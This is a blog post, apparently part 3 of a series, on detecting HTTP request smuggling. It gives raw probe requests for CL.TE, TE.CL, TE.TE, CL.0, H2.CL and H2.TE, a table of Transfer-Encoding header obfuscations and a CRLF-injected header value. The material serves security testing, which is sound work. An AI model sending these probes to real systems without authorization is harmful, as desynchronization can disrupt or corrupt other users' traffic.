Skip to main content

Command Palette

Search for a command to run...

HTTP Request Smuggling Part 3

How to Spot HTTP Request Smuggling

Updated
8 min readView as Markdown
HTTP Request Smuggling Part 3

Introduction


Every request smuggling variant can be detected using the same underlying approach. First, create a disagreement about where a request ends. Then look for evidence that the leftover bytes were interpreted as part of a subsequent request.

That evidence usually comes from one of two sources:

  • Timeout-based probes, where one component waits for bytes that another component believes belong elsewhere.

  • Differential probes, where the desynchronization produces an observable change in application behavior.

Timeout-Based Probe


Craft a request that causes one server to wait for bytes that never arrive. On a vulnerable target, the connection hangs until the socket times out. On a non-vulnerable target, the request completes normally.

This is usually the safest initial probe because a timeout does not poison the request queue. However, it is generally ineffective against CL.0 vulnerabilities.

Note: A timeout is strong evidence of desynchronization, but it is not definitive proof of request smuggling.

Differential Probe


A timeout is only a hint; a corrupted response is stronger evidence.

If a parsing discrepancy causes part of one request to spill into the next, the backend may misinterpret the follow-up request and return an unexpected 404 Not Found. Because the same request normally succeeds, a reproducible 404 can indicate that the connection has become desynchronized.

To keep testing reliable:

  • Send the attack request and follow-up request on separate connections (except when testing CL.0).

  • Use the same path and parameters for both requests.

  • Repeat suspicious results to account for interference from normal traffic.

  • If another user's request appears corrupted, stop testing immediately.

One important rule: always run the CL.TE timing probe before TE.CL. If the target is actually CL.TE-vulnerable, a TE.CL probe can interfere with legitimate traffic. Only escalate once CL.TE testing comes back clean.

CL.TE (frontend CL, backend TE)


Timeout-Based Probe

The frontend trusts Content-Length and stops reading after four bytes. The backend trusts Transfer-Encoding: chunked and continues waiting for a complete chunked body. Because the terminating chunk never arrives, the connection hangs until timeout.

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X

Differential Probe

Once the timeout suggests a likely desynchronization, switch to a differential probe.

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 35\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X

Byte count:

0\r\n (3) 
+ \r\n (2) 
+ GET /404 HTTP/1.1\r\n (19) 
+ X-Ignore: X (11) 
= 35 bytes.

TE.CL (frontend TE, backend CL)


Timeout-Based Probe

The frontend treats 0\r\n\r\n as the end of the chunked body. The backend trusts Content-Length: 6 and waits for one more byte that never arrives.

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
\r\n
0\r\n
\r\n
X\r\n

Differential Probe

Once the timeout suggests a likely desynchronization, switch to a differential probe.

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
2d\r\n
POST /404 HTTP/1.1\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

Byte count:

POST /404 HTTP/1.1\r\n (20) 
+ Content-Length: 15\r\n (20) 
+ \r\n (2) 
+ x=1 (3) 
= 45 bytes (0x2d).

TE.TE — obfuscate the Transfer-Encoding header


Both servers understand chunked encoding, so a normal Transfer-Encoding: chunked header does not create a parsing discrepancy. To trigger desynchronization, the header must be obfuscated so that only one side recognizes it.

Test one obfuscation at a time.

Obfuscation Example Typical parser discrepancy
Duplicate Transfer-Encoding headers Transfer-Encoding: chunked \r\n Transfer-Encoding: cow Different implementations apply different precedence rules when multiple Transfer-Encoding headers are present. One side may honor chunked, while the other uses cow, rejects it, and falls back to Content-Length.
Junk-prefixed value Transfer-Encoding: xchunked Some parsers perform loose matching and still recognize chunked; others reject the value and fall back to Content-Length.
Space before the colon Transfer-Encoding : chunked Some parsers normalize the header and accept it; stricter implementations reject it as malformed.
Tab after the colon Transfer-Encoding:[tab]chunked Different implementations apply different whitespace normalization rules when parsing header values.
Leading space before the header name [space]Transfer-Encoding: chunked Some parsers treat it as a valid header line; others interpret it as a continuation line or ignore it entirely.
Bare LF header injection X: X[\n]Transfer-Encoding: chunked Some parsers accept a lone LF as a line terminator, creating a new header; others require a proper CRLF sequence.

Once an obfuscation causes only one component to recognize Transfer-Encoding, the situation effectively reduces to either CL.TE or TE.CL. From that point, the same timeout and differential probes apply.

CL.0 — backend ignores the body


Some endpoints ignore Content-Length entirely and behave as though the request body were empty. Any bytes in the body remain on the socket and are interpreted as a new request.

Good hunting targets include:

  • Static files

  • Server-level redirects

  • Error-generating endpoints

The Content-Length header is syntactically valid and accurately describes the transmitted body. The vulnerability exists because the backend ignores it.

Differential Probe

POST /static-or-redirect-endpoint HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 39\r\n
\r\n
GET /hopefully404 HTTP/1.1\r\n
X-Ignore: X

Byte count:

GET /hopefully404 HTTP/1.1\r\n (28) 
+ X-Ignore: X (11) 
= 39 bytes. 

A reproducible 404 where a normal request would succeed is strong evidence that the backend ignored the body and interpreted it as a separate request.

H2.CL / H2.TE: The downgrade reintroduces the conflict


HTTP/2 uses binary framing and is not vulnerable to classic CL/TE ambiguity by itself. The problem appears when an intermediary downgrades HTTP/2 to HTTP/1.1 before forwarding the request.

H2.CL


H2.CL depends on the downgrade implementation preserving an attacker-controlled Content-Length header during translation.

Timeout-Based Probe

Inject a Content-Length value larger than the actual body.

POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 15\r\n
\r\n
(no body — empty DATA frame)

The edge forwards a zero-byte body while preserving Content-Length: 15. The backend expects fifteen bytes, receives none, and waits until timeout.

Any value larger than the real body length works.

Differential Probe

Inject Content-Length: 0.

POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 0\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
X-Ignore: X

The backend treats the outer request as bodyless and parses the embedded request separately. If repeated testing consistently produces a 404, desynchronization is likely.

H2.TE


If Transfer-Encoding: chunked survives the downgrade process, the situation effectively becomes CL.TE. The same timeout and differential probes apply, but they are delivered through an HTTP/2 request.

Timeout-Based Probe

POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
1\r\n
A\r\n

The backend honors Transfer-Encoding, reads the first chunk, and then waits for the terminating chunk that never arrives.

Differential Probe

POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X

The backend ends the body at the zero chunk and leaves the embedded request buffered for later processing, producing the same behavior observed in CL.TE.

If the edge strips a normal Transfer-Encoding header, you may need to smuggle it through a different header and rely on the downgrade process to reconstruct it.

foo: bar\r\ntransfer-encoding: chunked

The edge sees only the foo header and allows it through. After downgrade, the embedded line break can split the value into two separate headers, recreating Transfer-Encoding: chunked.

The timeout and differential payloads remain unchanged.

Summary


Variant Primary Signal
CL.TE Timeout → 404
TE.CL Timeout → 404
TE.TE Same as CL.TE / TE.CL
CL.0 Reproducible 404
H2.CL Timeout → 404
H2.TE Same as CL.TE

HTTP request smuggling occurs when different components disagree about where a request ends and the next one begins. By deliberately triggering these parsing discrepancies and observing timeouts or differential responses, we can identify the major variants, including CL.TE, TE.CL, TE.TE, CL.0, H2.CL, and H2.TE.

In this post, we've focused on detection and confirmation. In the next post, we'll move on to exploitation techniques and explore the real-world impact of HTTP request smuggling vulnerabilities.

7 views